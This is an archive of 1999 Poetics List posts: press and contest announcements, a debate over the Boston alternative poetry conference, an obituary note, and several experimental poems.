>accounting, spreadsheet, database, and analytical skills; Bachelor's degree
>in accounting or business administration. Salary to $35k. Reports to
>Controller. Mail or fax required application (Call receptionist for appl:
>[redacted]), cover letter, and resume to: Recruiting, Seattle Art
>Museum, P.O. Box 22000, Seattle, WA 98122-9700.Deadline: August 20th.
>
>
>
>

>
>Ramona

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55. Jill Stengel

a+bend press: an itty bitty press announcement

Wed 4 Aug 1999

---

the a+bend press small books series is a chapbook series published in conjunction with a San Francisco-based monthly reading series produced by the editor/publisher, Jill Stengel.

The books are smallish, measuring approximately 5½" x 6¾", and varying from about 15 to 40 (author/text) pages. Each book of the series--each title--has its own individual character: some have letterpress covers; some have hand-stitched bindings; and each has its own particular combination of cover-stocks, end-papers, and typefaces.

The editor is of the opinion that the work highlighted by this series is exploratory, experimental, innovative, interesting. She hopes you will agree.

The current list of available titles, as of 8/4/99:

book one history, possibilities: Jill Stengel
book two SAYING NO. 3 Jenna Roper Harmon
book three a s f a r a s Jen Hofer
book four Genealogy Kathy Lou Schultz
book five 22 Katherine Spelling
book six (forthcoming) Jamen Howe
book seven (forthcoming) m. mara-ann
book eight Spelt Susan Gevirtz and Myung Mi Kim
book nine Eve Doe : Prior to Landscape Elizabeth Treadwell
book ten definite articles Sarah Anne Cox
book eleven Waltzing the Map Standard Schaefer
book twelve extraneous roses Lisa Kovaleski

books nine and ten will be released August 8 at the reading at BlueBar in SF
books eleven and twelve will be released September 12
(books six and seven will be released at some future/unknown date)

All books are $5.00 plus shipping: $1.00 for the first book or $1.50 for two or more books. Mailing address for orders and/or information about a+bend press: 3862 21st Street, San Francisco, CA 94114. Please make checks payable to Jill Stengel.

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56. derek beaulieu
filling Station magazine
Wed 4 Aug 1999

hi as co-managing editor of filling Station magazine - i would like to invite the visual and LANGUAGE poets of this listserv to submit poetry to our magazine. for 5 years, filling Station has been a voice for alternative and experimental poetry and prose and we are very interested in seeing an increased amount of LANGUAGE and visual poetry in our pages. please send your submissions of up to 5 pages, either by email to derek beaulieu at [redacted] or by snail mail to

filling Station magazine
po box 22135
bankers hall post office
calgary alberta
canada t2p 4j5
attention: derek beaulieu

thanks!

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57. Charles Bernstein
Rudy Burckhardt (1914-1999)
Wed 4 Aug 1999

Rudy Burkhardt died on Sunday, drowning himself in a pond at his country house in Vermont. Rudy was a filmaker and photographer, perhaps best known for his now-classic shots of New York's midtown area. In New York, he was an active presence both for independent filmmakers and poets, attending showings and readings. In fact, I last saw Rudy in June at Henry Hills's show of new films and video at Anthology Film Archive. Indeed, Burckhardt's films are among the great works of American independent cinema.

Rudy has a number of books, but I recommend most Mobile Homes, edited by Kenward Elmslie and published by Elmslie's Z Press in 1979. The wry autobigraphical commentary in the book is a talisman against both sentimentality and earnestness.

Some web snap shots:

images: http://www.3w-art.com/burckhardt/buz2002.jpg
http://www.creview.com/images/365_610_1.jpg

and a commentary by Greg Masters, with a bit of an interview, and two pictures of Rudy:
http://www.artomatic.com/~gmasters/fortheartists.htm/burckhardt.htm

Charles Bernstein

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58. Lynn Miller
6 JANUARY 1995 / 24TH ST & GUERRERO
Wed 4 Aug 1999

"There is a specter haunting poetry"

> Jennifer Moxley, Invective Verse
> Writing from the New Coast, 1993

Finally someone has brought out the ghost and made it walk, and talk. Swift, light, airy--Jennifer probably wrote her poetics statement in less than an hour. When I found it in a book called "Technique," I laughed. It was a dash. It is hilarious and it is incisive. Here is a poet whose first thought about her poetics is the right-wing currently consolidating its power in the halls of that bad joke called Washington. Her advice is to put down that cup of coffee and feel the rage. Time is running out, poetry is a privilege, and screaming our radical politics from the rooftop doesn't mean a thing unless the voice belongs to millions. "Who the fuck are we anyway?" Jennifer wants to know, and it doesn't sound to me like a rhetorical question. Along with her friendly allusion to the Communist Manifesto, in the space of a single paragraph are plays on the sit-in tactic of the Civil Rights Movement and an assertion of the classical Marxist position that Socialism is merely a transitional stage, a tangible and immediate goal en route to the Pie in the Sky. Moxley calls the first phase a "benefactor economy" and she is not dreaming. I overheard the same demand Thursday from two bicycle messengers on their lunch break: "Every good writer should be guaranteed at least $30,000 a year." The speaker's co-worker was nodding his head in emphatic agreement. I could live with that, at least "until after the revolution." Again, I'm quoting Moxley, because she says there's going to be a revolution, and you can wear whatever you want including your suede shoes. I've got mine on tonight for the occasion of hearing what else this poet might say, a poet who wants to recapture the "public domain for poetry" (and with an exclamation mark!") It's another one of her wild ideas, like THE CALL FOR POETS TO CHANGE THEIR NAMES AT THE END OF EVERY FISCAL QUARTER--Benjamin was thinking along the same lines when he called the author a producer, like a director or conductor--some BODY absorbing the current of the time in current times. Electricity in the air. That's what the specter is, and that's why I find Moxley's theoretical contribution to the New Coast symposium so exciting and valuable. She wants excess and abundance and she wants it now. Her call for recapturing the public domain reminds me of something Trotsky thought about. I can't remember anymore whether he was

writing about the Russian Revolution or French Surrealism when he very lucidly articulated the phenomenon of combined development. According to Trotsky, the avant garde is not a permanent achievement. It happens once and once only, out of great sacrifice and against incredible odds, and then it reaches a crossroads or the crossing of many roads, other levels of consciousness passing by, surging forward, BEARING THE STAMP OF THEIR NECESSITY, and if the vanguard foregoes dialogue in the fantasy of its own intellectual superiority or correctness of method, then it winds up reproducing itself in an increasing series of diluted gestures. It spins its wheels and the efforts of poets or professional revolutionaries that brought the avant garde onto the stage of history are wasted. If, on the other hand, the youth coming out of that vanguard choose to seek dialogue with so-called "backward" tendencies, combined development can occur--an unpredictable release of creative energy of vast proportions. That's about as far as I can get with that thought for the moment, but it strikes me as somehow in relation or congruent with Jennifer's anticipation of the possibility of a popular poetry. I can't wait to hear her poetry whose desiring is announced with such ease and aplomb. Let's welcome the author of "Invective Verse" to Small Press Traffic and to San Francisco.

Whereever Moxley is worn
all changed, changed utterly
a terrible Beauty is born

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59. Jacques Debrot
Re: Boston 99
Thu 5 Aug 1999

In a message dated 8/4/99 12:38:05 PM, [redacted] writes:

<<I do understand that those who wanted every reader to be as "alternative" as, say, Wendy Kramer and her wonderful corrugated love poems, might have been sometimes disappointed. But personally I would welcome more alternative/pluralistic/open-minded/inclusive poetry events at any time, anywhere.>>

My posts have not been so much Conference reports of course as much as they have used the Conference as an opportunity to look at, however superficially, etc., given the inherent limitations of the Listserve medium & the competing demands on my own time, the state of Boston poetry & the Boston "scene"--while also acknowledging that it is impossible to be entirely objective about such things. After all, I am an interested party. But complaints like mine I think are not meant to "focus on small negatives." Instead I'd argue that my dissatisfaction is part of the *positive fall out" from the Bo Po Conference-- that

is, the Conference has made some of us dissatisfied with what we settle for the rest of the time.

"Alternative" is certainly difficult to think about. Diane Wald is right to say that if it means things only like Wendy Kramer's work--the subtext here implies, if I am reading Diane correctly, the 60s adj "far out" --then the demands implicated by the term would be too restrictive indeed. But I'd like to keep the word "alternative" instead of running away from it, as well as the words "experimental," "innovative," -- "avant-garde," even-- precisely because they are so difficult. The innovative is not, I 'm saying, a fixed category but constantly shifting in relation to the doxa, to the routine & the already codified. It can mean Wendy Kramer, but it can also mean, as Brian Kim Stefans has persuasively suggested, Jennifer Moxley's recent work, in which she shrewdly negotiates "traditions and modes that are not quite in the ascendant," or Tan Lin's new work in the Boston Review. In other words, the alternative is what we use to counter-act-- as Kevin Killian brilliantly puts it-- the malaise that "everywhere, at every time, . . . must continually be recuperated and rescued." In contrast, "shining pluralism" sounds like something everyone would want in the abstract, but this is perhaps what is wrong, not so much with the term, but with the idea behind it. "Pluralism" is a word that is used with insidious effect by the corporations, the government & the mass media, & although I admire David Shapiro immensely, I think even he uses it--though in a much more benign way--to cover-up important contradictions. I don't have the time to go into this here, but Sianne Ngai, in an article I mainly disagree with, discusses pluralist ideologies in a very provocative & enlightening way in OPEN LETTER winter 98.

Which leads me to Canada, if not to Vancouver. Kevin Killian's is a fascinating question, but of course I am not the one to write about Vancouver. There are many Kootenay people who subscribe to the List, I've noticed. But Kevin also writes:

<<Daniel Bouchard has wisely printed a list of Boston poets attending said Conference and a second list of poets from elsewhere that also attended, made it concrete and plain, and frankly speaking as an outsider I wonder how the New York poets in attendance come off as so much more sophisticated and/or accomplished and/or experimental than the Boston ones. Please clarify.>>

A "scene" is not reducible or equivalent necessarily to the poets who live in a particular city. A scene is constituted rather by the formal & informal structures of affiliation organized, if only loosely, around reading series, journals, publishing houses, academic venues, private & quasi-public institutions and foundations like New Langton Arts, and the Poetry Project, as well as around living rooms and bars. As Dan's list suggests, Boston is much

less than the sum of its parts. In the best light, one could say that it's a city full of many interesting, autonomous poets. On the other hand, these parts--as disjunct parts-- lack a certain sufficient, or even liminal, critical mass. It's impossible to miss the fact, for example, that Sun & Moon is in LA, but I'm in Cambridge all the time & I couldn't tell you exactly where Exact Change is located. This is perhaps a bad example, but the bottom line, I'm beginning to realize, is that Boston/Cambridge is a city that people spend some time in for whatever reason & then pass through. I'm more likely than not in the very same situation myself. So the structures of affiliation I alluded to earlier haven't flourished here. Dan was correct to criticize what was latently, in my first post, a model of mentorship or apprenticeship, however the extreme anti-academicism in Boston poetry circles is in some senses merely reactionary--an understandable response to what has been here more-than-neglect-- but it casts things in too Machinaean a perspective. Even given all of this bad news, my previous posts have not adequately acknowledged the indispensable force Michael Franco has been for encouraging any existing sense of a dynamic among local poets. In addition to many other things, his reading series frequently brings extraordinary & challenging poets to Boston. But, you see, these readers are only **passing through** even more quickly than most. The local magazines, of which there are practically none now, have also always published wide-ranging work. But, once again, reading them, one got/gets the sense that the most innovative poetry (however insecure my hold on the term innovative is) was being "reported" on, "noticed" & "appreciated" -- but not being *produced* here. I get the feeling in fact that this distinction is an important, if a subconscious one. Dan was correct to pick up on my List Discussion habit of collapsing many different kinds of poets into a Boston "pigeon hole." The best I can do now, in this venue, however, is to suggest again that the dominant trend in Boston poetry has been a reluctance to play with language. My pointing to the absence of a Language poetry presence in Boston in the 70s & 80s doesn't mean that, as a result, I miss the presence now, of a local 3rd generation of L poets. far from it. What I was suggesting instead that tL poetry created certain dymnamics being played out currently in SF & NY that are valuable inasmuch as they are in reaction against as they are in sympathy with, LP. If you decide to stay in Boston, it's because other influences--Black Mountain, say-- are important to you & flourish here. But there is no sense "of six or seven or eight generations" of Boston poets "all working at once and still feeling a little hung over and millennial right now." If it's true, as I think it is, that the people with the most energy, & the most time here, only *reproduce these limits* in Boston, the weakest part of my remarks was to fault *them* for that.

Finally, Kevin writes: "I'm also not sure what role Lori Lubeski is playing in your argument" Actually a number of people have bc'd me to suggest other names. Why not then, Donald Wellman. An extremely interesting poet, he published O.ARS for 10 yrs in Cambridge, & yet--again with the exception of Michael Franco-- goes strangely unnoticed & unacknowledged here.

--jacques

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60. **Bob Grumman**

Re: Boston 99

Thu 5 Aug 1999

I'm with both Diane and Jacques on the question of the BAPC's "alternicity." I agree with Jacques (and many others including Aaron, the even-organizer, himself) that "Alternative" was a (mildly) unfortunate choice of word to use in this event's title, particularly as there are so very few THOROUGHLY alternative ventures of this sort going on, if you mean, as I do, ventures devoted to kinds of poetry that have not yet gotten any play, or only token play, in college classes (and . . . seminars), or in any publication by a commercial or university press.

Of course, "alternative" can refer to much else, including very traditional verse that happens to be composed by poets not yet known anywhere. Ergo, a person organizing an event like the BAPC who uses the term to describe the event ought--assuming he has time for such very minor details--to define what he means as carefully as possible. "Pluralistic" would seem to have been the better word here. (And one need not be a word-fetishist to believe words ought to mean something reasonably specific.)

I agree whole-heartedly with what I take Diane to have been saying: that what really counts is that Aaron did a first-rate job putting together last year's event, which I attended (and later--gently, I hope--criticized in my Small Press Review column for not being very "alternative," as I use the term), and seems to have done at least as well this time around. Certainly, he's gotten an amazingly wide and good selection of poets to Boston these past two years. I wish I had had the dough to get up for it this year.

--Bob G.

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61. Richard Dillon
Re: Boston 99
Fri 1 Jan 1904

For a Boston poet who has cracked syntax
and rewritten the writing of writing
look no further than

RIC CARFAGNA

c o n f l u e n t i a l t r a j e c t o r i e s

Sinfonia Press
P.O. 385
Petersham, MA 01366

Mr. Carfagna and Mr. Mac Low have had much fruitful commerce.

Let me say a few words about Mr. AARON KIELY.

If there is anybody on this bloody earth
who has a more brilliant shining heart

that beats in resonance with the essentials of Poetry
BRING THEM FORTH!

Lastly, without arrogance, let me say that I worked for Gordon Cairnie for four years. I have Boston roots.

Richard Dillon

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62. David Kirschenbaum
Happy Boogday
Thu 5 Aug 1999

Hello to all from David Kirschenbaum, editor of Boog Literature, a new addition to this here list.

Eight years ago today, we published the first two Boog chapbooks in Albany, New York, and it's been a fun ride. To all out there who crossed my path along the way; influenced me/the press (one thing?); contributed work to various publications; performed at the many different events; collated, stapled and distributed; and opened their homes to me as though I were kin, thanks. Sometimes the flow has not been as strong, but since 1991, each year new words have been published that somewhere say Boog on 'em. For that, I thank you all. A special shout-out to Katie Yates- for her advice and getting me to Naropa; d.a levy- spirit guide; Lawrence Ferlinghetti- for showing the way; Ed Sanders- for his words of encouragement, constant feedback and contributions;

David Baratier and Kent Fielding- for their friendship and late nite talks about being an editor and a poet; Meg Arthurs- for her glorious art; Douglas Brinkley- for introducing me to Lou Reed and Naropa; Rachel Aydt- Boog's first author, and one of the best poets -and friends- around; Rod Sperry- former cofounder, the most passionate co-editor a press could've wanted, and Ian Wilder- for taking me to my first poetry reading and anytime phone-editing sessions.

Thanks and Be Good,
David

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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63. Jerry McGuire
deep south writers conference panels
Thu 5 Aug 1999

Dear Deep South Listee:

We'd like to inform you that the deadline for submitting proposals/papers for panels at this year's Deep South Writers Conference has been extended to August 25th. Here are descriptions of what we're doing this year:

PANELS

This fall's Deep South Writers Conference invites submissions of brief papers for several panels relating Creative Writing Pedagogy to our theme of the "local." Panels will consist of short introductory statements by each panelist, followed by open discussion of the topic.

Panel #1: The "Local" and the Creative Writing Classroom

What are the important considerations and possibilities for teachers of creative writing concerning the ways in which our students respond to questions of locality--of region, geography, ethnicity, nationality, race, religion, or other "local" markers? Presentations may be "case studies" of particular localities or theoretical discussions of some aspect of the "local," or may

explore the effects of "the local" on specific pedagogical concerns.

Panel #2: Open Topic

Fifteen-minute papers on any issue pertaining to teaching creative writing.

Panel #3: Exploiting One's Place

How may one's given place be used in new or unusual ways to make creative writing students more vital writers? We would especially like to see papers or proposals treating the relations between creative writing and local music, photography, dance, environmental art, painting, etc.

^For all panels, full versions of fifteen-minute papers are due August 25th, 1999. Please submit queries or papers (identify panel for which submission is intended) to:

Panel # 1, Panel #2, or Panel #3
Deep South Writers Conference
USL Box 44691-English Dept.
University of Southwestern Lousiana
Lafayette LA 70504-4691

Queries for all panels may also be addressed to
[redacted].

--

Jerry McGuire
Director of Creative Writing
English Department Box 44691
University of Southwestern Louisiana
Lafayette LA 70504-4691
[redacted]

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64. Poetics List
format reminder
Thu 5 Aug 1999

Please remember that HTML formatting is not to be included in messages sent to the Poetics List; apparently one such message slipped by me yesterday (usually I have to cut and paste the text into a separate message - time consuming and aggravating), which means that digest messages and the list archive may be damaged for that day. Those of you using Netscape Communicator, Microsoft Outlook, and other such programs, check your "preferences" or "options" in the program menus to be sure you are sending only ASC-II or "plain" text messages. Thanks.

Chris

% Christopher W. Alexander
% poetics list moderator

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65. Poetics List
open field / oga
Thu 5 Aug 1999

---

had to reformat this message. Chris

--

Date: Thu, 05 Aug 1999 19:29:55 +1200
From: [redacted]

psychobabble

dual spin plates suspended astagger
gravity wells column roil square

cultivate field of thought
objects within define room more

enclosed space contains preference
affinity, symbiosis of polyglot virii

open pasture to genetic meddlin
edges bleed territory: meaning

seeps sumps intermarry blurry survival
goldi closed, stranger proof deny

pattern of growth swell coffers
spill over, intrude infected ideas

spreading pool propagate species
seed germinate layers, strata

descent stepped into graduation
shoots waver glided ripple
no closure

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66. Lowther,John

2 poems (diastic)

Thu 5 Aug 1999

---

what there is to say about the boston thread
wrong--an
though mean that terms think
overestimate Fourth-generation worse.)
is as the
worked subject cannot voyeurs a
able "progress"
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subscribe <<

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perspective.
existing dynamic practically innovative [pattern not found: ^\w{8}z, skipping]

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routine already but Moxley's Boston
what corporations,
government David time Sianne question,
about
speaking disjunct apprenticeship,

↑ Index

67. Brian Stefans
Boston 99
Thu 5 Aug 1999

One interesting thing about the word "Alternative" in a title for a poetry conference in Boston is that, for some of us who are attentive to scenes and locations, it's redundant -- if the poetry really has something to do with Boston, then it's probably alternative to the rest of us. I tend to think that beyond aesthetic and political lines, the idea of poetries from "alternative" places is beginning to get pretty interesting, since the poetry takes on anthropological value for what it's worth, and in our times with nationalism and plurality are such violently heated issues we can use our analysis as a sort of petrii dish mirroring the world at large.

Anyway, wanted to share this snippet from an unnamed poet from England whom I hardly know, who sent on this bit about the British scene:

"No, I wouldn't disagree that the scene in the UK lacks new younger writers to carry the baton, mostly. It's sort of strange, in that when I visited Cambridge in the mid-1990s there seemed to be quite a vibrant crowd of bright young(ish) things (Helen MacDonald, DS Marriott, Rob MacKenzie, Karlien van den Beukel, etc.) but then there was a long gap where no young writers seemed to be coming up (this is now remedied by the activities of Keston Sutherland & co.

I gather). Drew Milne when I asked thought that the mid-90s "bulge" was largely the work of Stephen Rodefer's getting the kids excited, & that things went flat when he left."

I think this is interesting in relation to this idea of poets "passing through," since as the lore has it Jack Spicer passing through Vancouver and giving his lectures seemed to create part of the ambiance that led to Tisch, which then led to Kootenay, etc. And of course Rodefer, to those who know him, carries out something of the Spicerian function in the communities he has touched over the years -- I described him to this British poet as "divisive" (in a quasi-pejorative sense) in some contexts such as New York's which has a pretty strong if inchoate "community," and I guess conducive to "poetry" in the context of Cambridge in the mid-90s. Cambridge, by the way, has many strong poets in its immediate area, such as Jeremy Prynne, and of course its Cambridge, so it's not the boondocks. So why did it need Rodefer?

(Footnote: Rodefer, by the way, seemed important enough to Iain Sinclair to be included in the major British Poetry anthology Conductors of Chaos in 1997 or so, though he had been in Brooklyn for a number of months by the time it came out. Also, this isn't to say he doesn't have a good effect in New York as well, otherwise I wouldn't be writing about him. It's also worth noting that folks like Jennifer Moxley, Bill Luoma, Doug Rothschild, etc. studied with him in California, hence he's helped shape a generation there.)

I introduce this since Stephen is a very peculiar type of person in poetry society, which is that, besides his immortal escapades, he seems very attentive to younger writers -- to the point of oversensitivity sometimes -- and badgers them about their work, he likes to make high-minded pronouncements which half the time are nonsense and the other half very provocative (don't ask for more exact percentages), and he has, to boot, stories to tell about his time with poets like Olson, while at the same time having produced a book like "Four Lectures" which is seen to be a classic of sorts for language poetics. So he's kind of still a beatnik, kind of a post-structuralist, etc., has some sort of natural lineage, but also likes to hang out. I don't know if he's written any criticism at all, but I would have to guess he has -- in any case, it's not his Selected Essays doing the work. As a side note, nobody questions Stephen's ties to institutions -- he has none, never has, I think, besides brief teaching stints.

Anyway, I guess the point is that a person like Rodefer provides something like the social glue that seems to keep communities together. The "glue" is partly the result of talent, interest, intention, but also irrational and, in the standard sense, "social". I remember a friend of mine the U.K. complaining that a certain young lady would only go to the poetry readings to flirt and meet guys -- he found this offensive, but I countered that, heck, if you want this scene to start

up, if you want all these poets who are really pretty hard-headed, stuck up, intense etc. to spend the inordinate amount of time with each other that it takes to form a scene, then some of these minor details will have to be overlooked. I also said that you should be sure that everybody has a house or apt. to go to after the readings to get drunk, otherwise nobody will ever talk about the reading again. The scene, in other words, would have to handle certain other needs that poets have in abundance, such as that of getting attention, letting loose, meeting people, etc. (To be snide, I would add that half if not more of the poetry you hear at a reading is pretty bad, so if you make a reading hang solely on the entertainment value of the poet, string a few bad ones like that in a row and The End.) (I heard the readings in Boston got a bit flat after a while, for what it's worth.)

This may all sound silly but I just wanted to counter the impression that good intentions ("pluralisms", tolerance) in the form social programs, revamped institutions, or any other injection of capital into an community, urban or not, are necessarily going to bring about a poetry revival, or that any are even necessary. If a "scene" is to develop in a "place", it seems a first step would be to have those poets be interested in that place, and (for it to be "collective") in each other's work and lives. Showing off is also fair motivation in this game, if you want it (though it gets annoying), which seems only possible when people are looking.

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68. Maria Damon
Re: Boston 99
Thu 5 Aug 1999

At 2:12 PM -0400 8/4/99, daniel bouchard wrote:
...
>The phone calls you describe receiving at home are regretful. I support you
>in calling the callers back and telling them to shove it, but as you wrote
>me back-channel one did not identify him/herself. ...

yr kidding --someone called you at home about this jacques??? it's hardly worth gettting that het up over...

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69. David Baratier
Deadline is 8/15
Thu 5 Aug 1999

8/15 postmark. Full guidelines below.

The First Annual Transcontinental Poetry Contest
by Pavement Saw Press

Each year Pavement Saw Press will seek to publish at least one book of poetry and/or prose poems from manuscripts received during this competition. Selection is made anonymously through a competition that is open to anyone who has not previously published a volume of poetry or prose. The author receives $1000 and a percentage of the press run. The judge of the competition is Bin Ramke.

All poems must be original, all prose must be original, fiction or translations are not acceptable. Writers who have had volumes of 40 pages or under printed or printed in limited editions of no more than 500 copies are eligible.

Submissions are accepted from June 1 until August 15 .

Entries must meet these requirements:

1. The manuscript should be at least 48 pages and no more than 64 pages in length.

2. A cover letter which includes a brief biography, the book's title, your name, address, and telephone number, your signature, and, if you have e-mail, your e-mail address. It should also include a list of acknowledgments for the book.

3. The manuscript should be bound with a single clip and begin with a title page including the book's title, your name, address, and telephone

number, and, if you have e-mail, your e-mail address. Submissions to the

contest are judged anonymously.

4. The second page should have only the title of the manuscript. There are to be no acknowledgments or mention of the author's name from this page forward.

5. A table of contents should follow the second title page.

6. The manuscript should be paginated, beginning with the first page of poetry.

7. There should be no more than one poem on each page. The manuscript can
contain pieces that are longer than one page.

Your manuscript should be accompanied by a check in the amount of $15.00

made payable to Pavement Saw Press. All US contributors to the contest will receive at least one book provided a self addressed 9 by 12 envelope with $3.20 postage is provided. Add appropriate postage for other countries. For acknowledgment of the manuscripts arrival, please include a stamped, self-addressed postcard. For notification of results,

enclose a SASE business size envelope. A decision will be reached in September. Book(s) will be published before January 31st, 2000. Do not send the only copy of your work. All manuscripts will be recycled, and individual comments on the manuscripts cannot be made.

Manuscripts and correspondence should be sent to
Pavement Saw Press
The First Annual Transcontinental Poetry Contest
PO Box 6291
Columbus OH 43206

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70. Tony Green
Re: Boston 99
Thu 5 Aug 1999

Daniel Bouchard wrote:

> *Personally, my most vital community of poets begins in Honolulu and reaches to Cambridge, UK. You can map it but it doesn't matter.*

Not, even now, to
Australasia or Asia or Europa or Africa? whence
        several of us
do engage with this e-list.

Tony Green

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71. A H Bramhall
Agreeable To The Moment
Thu 5 Aug 1999

---

at 4:05 pm on any weekday the miners finish their logical work. they remove their pickaxes from the latest vein and to the surface return. a story will come to some, a poem to others. this is the dimming of the day. bottles of alcoholic whatever may be shared and the words flow. every river has its image to maintain, of course, and the miners are never dumbfounded by this truism. they look to the setting sun, which has a redness that bridges spectra of doubt, an especially potent effect after a day in the darksome mines. the glory starts to work, and glory joins glory. the words flow, as has been said. the happy miners maybe sing songs, new compound words jetting up to dance in the air, tra la. a simple verb/noun effect occurs, a strange re-vision of what had seemed a forgettable act. but no, lodged in the movements of the two words (whichever ones) a world of possibly imaginative underpinnings reveals itself. you are

aware, dear reader, that this spectacle becomes a necessity for these dedicated workers, and maybe to you, as well. the seemingly scant jobs of pick and shovel transcend the dailiness of their actions. the miners enjoy the dulcet drunkenness that has led them to readjust once again the edges. this becomes a process that resembles the making of music except that they introspect as they advert. the cage has been withdrawn momently. some children race to play on the darkening green -- why not? -- but the adults, thrilled to be free of their mining ordeal, have launched into a maelstrom just as sinuous as a diaphanous supermarket. in the treasury of what can be done, the resistance truly fades. the program will be repeated tomorrow, but you'll have to learn to tune in.

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72. Alan Sondheim

Pleas/e

Thu 5 Aug 1999

==-==

Pleas/e

>>> can i move across the empty screen. i cannot move the empty screen. <<< >>> can i move myself from left to right. i cannot move from up to down. <<< >>> can i take me to the last one. i cannot take you to the first one. <<< >>> can i speak to you from now on. i could never speak to you from then on. <<< >>> can i move to the beginning. i cannot find i have an ending. <<< >>> can i move to the first letters. primordial, i beg of you, get me. <<< >>> can i move into the thickness. i cannot move out from the thinness. <<< >>> mark me. <<< >>> cut me. <<< save me. >>> <<<
primordial, i shall be marked. >>> <<< <<< i shall be saved. <<< can i have a word with you. i cannot have a word with you (a word is all i want, just one word with you, you just have to listen for a minute or two) >>> <<< please, just for a second. >>> <<< come on, don't do this to me. >>>^B left ^F right ^[Y top of file ^^ mark ^D char ^J format ^X save ^P up ^N down ^[V end of file ^K cut ^K line ^T spell ^C abort ^Y prev. screen ^A beg. of line ^U paste ^[K >line ^[T file ^Z shell ^V next screen ^E end of line ^[U select ^[H word< ^L refresh FILE ^@ prev. word ^[L line No. ^O save ^[D >word ^[^[options ^O save ^_ next word ^W find text ^[/ filter ^[- undo ^[= redo ^R insert "Please, I'm primordial; please don't do this to me."

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73. A H Bramhall
re Boston 99/re O.ARS
Thu 5 Aug 1999

Jacques Debrot writes: "Why not then, Donald Wellman. An extremely interesting poet, he published O.ARS for 10 yrs in Cambridge, & yet--again with the exception of Michael Franco-- goes strangely unnoticed & unacknowledged here."

I would like to be the 2nd -- or is it 3rd? -- hippest person here by strangely noticing and acknowledging Donald Wellman's contribution to the Big Whatever that we seem to be talking about. (I have clout, by the way, but it's the kind that covers my loins, tant pis). seriously, because this is serious, O.ARS was a pretty damn interesting journal, varied and vibrant (don't let the alliteration distract you from the words) which ought to give every reader the thought: the man put some effort into this. my experience is not extensive, other nobles certainly exist, but I can think of Leland Hickman's Temblor and Tom Beckett's The Difficulties as journals that, along with O.ARS, elevated the idea of such publications to a state both personal and generous. id est, submission guidelines and publication hassles (what a gruesome thread that was!) were backgrounded, _behind_ the stuff on the page. like, what they did wasn't some dreamy career move but a living reality, dirt under the nails and all. these missives from elsewhere, news I really could use, crept into my mailbox irregularly but welcomed; I thank the editors who made them possible. and I think my further point is: quit griping, things are happening, in Boston and elsewhere. and if they aint, _you_ aint noticing: you bought the wrong farm. and by the way, isn't this regionalism stuff being talked just about corny? I live within the Boston sphere and root for the Red Sox, but my heart skips nary a beat when they trounce the Yankees or vice versa. I mean, who cares which aisle at the supermarket you line up in? it's what you do with the groceries that counts. Allen Bramhall, wondering what my motivation for this scene is

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74. nico vassilakis
(no subject)
Fri 6 Aug 1999

---

i s it a dead thing this

or...ville

plaza

de

de oralizd

soz either i've never been or am a po*et b(t)oy no more

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75. John Tranter
hemispherical chauvinism 1, drinks nil.
Fri 6 Aug 1999

In a recent posting to the Buff List Daniel Bouchard said:
==========
Personally, my most vital community of poets begins in Honolulu and reaches
to Cambridge, UK. You can map it but it doesn't matter.
Alas, we do not meet for drinks often.
==========
Of course he means heading *south-west* from Honolulu, in order to pick up
Australia en route.
That makes it a long flight to Cambridge, UK, and -- goodness! -- it leaves
out L.A. and N.Y. !

best,
    John Tranter

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76. Lynn Miller
BOSTON 1851
Fri 6 Aug 1999

C O N C O R D S O N A T A

Emerson.
"Absolute"
after toying

with "Categorical Imperative"
wave of the vast intricate undercover
industry of numerology,
into the Delta Plantation area
Aladdin lamp in hand,

"M'm,"
        it's not what you say why I said that
    thinking the white and black they both think

Something more important than us to think about now
the pivot of the movement, Acuesta

up on Dunham
dump the contents
sort them out

up over the hill
that is a blacktop
and red brick area
dumped out

Thoreau. Not one of the speakers at that meeting a meeting one among many as one among many the One and the Many on the subject of Slavery and that what thought the house on fire several are now in prison the disposition of some wild lands a thousand miles off talking only of taking up a position retreating between them the enemy in the school failed now to face measures half-measures and make-shifts indefinite debt the Fugitive Slave Law resolved by my townsmen adjourned, the compromise, no opportunity to express my thought will you allow me here?

I heard the sound of a drum in our streets, the Boston Courthouse full of armed men holding prisoner the unlettered now fill the summer air all I have ever seen of a Governor he did not govern me, the United States government robbing Mexico, the United States military force of the State catch a man whom he calls his property, about American Slavery, that we do not even yet realize what Slavery is, FATAL CRIME, the Supreme Court inspectors of a pick-lock and off with the smoke if the inmates hire the jailers. This is what I thought of my neighbors.

The city does not think. I read all the newspapers I could get, the newspaper we read every morning and every afternoon, standing and sitting, riding and walking, table and counter, the only book America has ever printed, the editors of the press in this country time-serving Mitchell's "Citizen" in the cars through every column handling a paper picked out of the gutter the gospel of the Merchant's Exchange. I have never respected the Government near which I lived. They have counted the votes of Pennsylvannia & Co., and impassible boundaries between individuals.

The slave ship four millions under the hatches, paper and pen my pillow, and when I could not sleep, I wrote in the dark my part to correct the statements, what a sane set of editors, to hear you define your position, call these "deluded," "mistaken," "insane" or "crazed" on the floor of the Harper's Ferry engine house the ring of a saner sanity than any Washington, Jefferson--they let off without dying; they were merely missing one day. They do not know the man. They must enlarge themselves to conceive of him. When they will begin to see him as he was. They called him crazy then; who calls him crazy now?

They heard his words read like the speeches of Cromwell come out into a town where he was more he was the most American of us all, and we become criminal in comparison, thinking and speaking of him as physically dead. What is the character of that calm, sloughed off, sloughed along. Editors, abettors. The bodies of dead. That is the way we are. The character of this government. See it by the light of history. What a monster of a government is this. The only free road, the Underground Railroad, "under the auspices of John Brown."

My commonplace book of poetry read by the light of Event blind our eyes to objects, invisible writing held to the fire, or be made the text of an oration on, no amalgam to combine with his gold, look around for something see actions are words by our lives we have loved whatever we have remains material and art, days, hours, marked changes ready to say going into our meeting who placed the slave to kiss for a symbol they did not know. I am his contemporary. He is no longer working in secret. I meet him at every turn.

Our Nig. Mag
accumulating inflexible
labels along the way,
"a loving, trusting heart"
democratic simplicity
notorious identity
"publicity of her fall"
her assigned sphere
all designations slide away from her again.

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77. Tisa Bryant

Contact info for Edwin Torres, Mara Galvez Breton

Fri 6 Aug 1999

Hello!

Does anyone have contact information for these two writers? Please e-mail me directly, if so.

Thanks!

Tisa

****

Today we declare:
First, they are living in a Nono form;
Second, they are Nono lives;
Third, they make us feel Nono;
Fourth, they make us become Nono;

Fifth, we Nono.
Lan Ma
"Manifesto of Nonoism"
(Chendu, China, May 4, 1986)
****

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78. Stephen Ellis
Re: Boston 99
Fri 6 Aug 1999

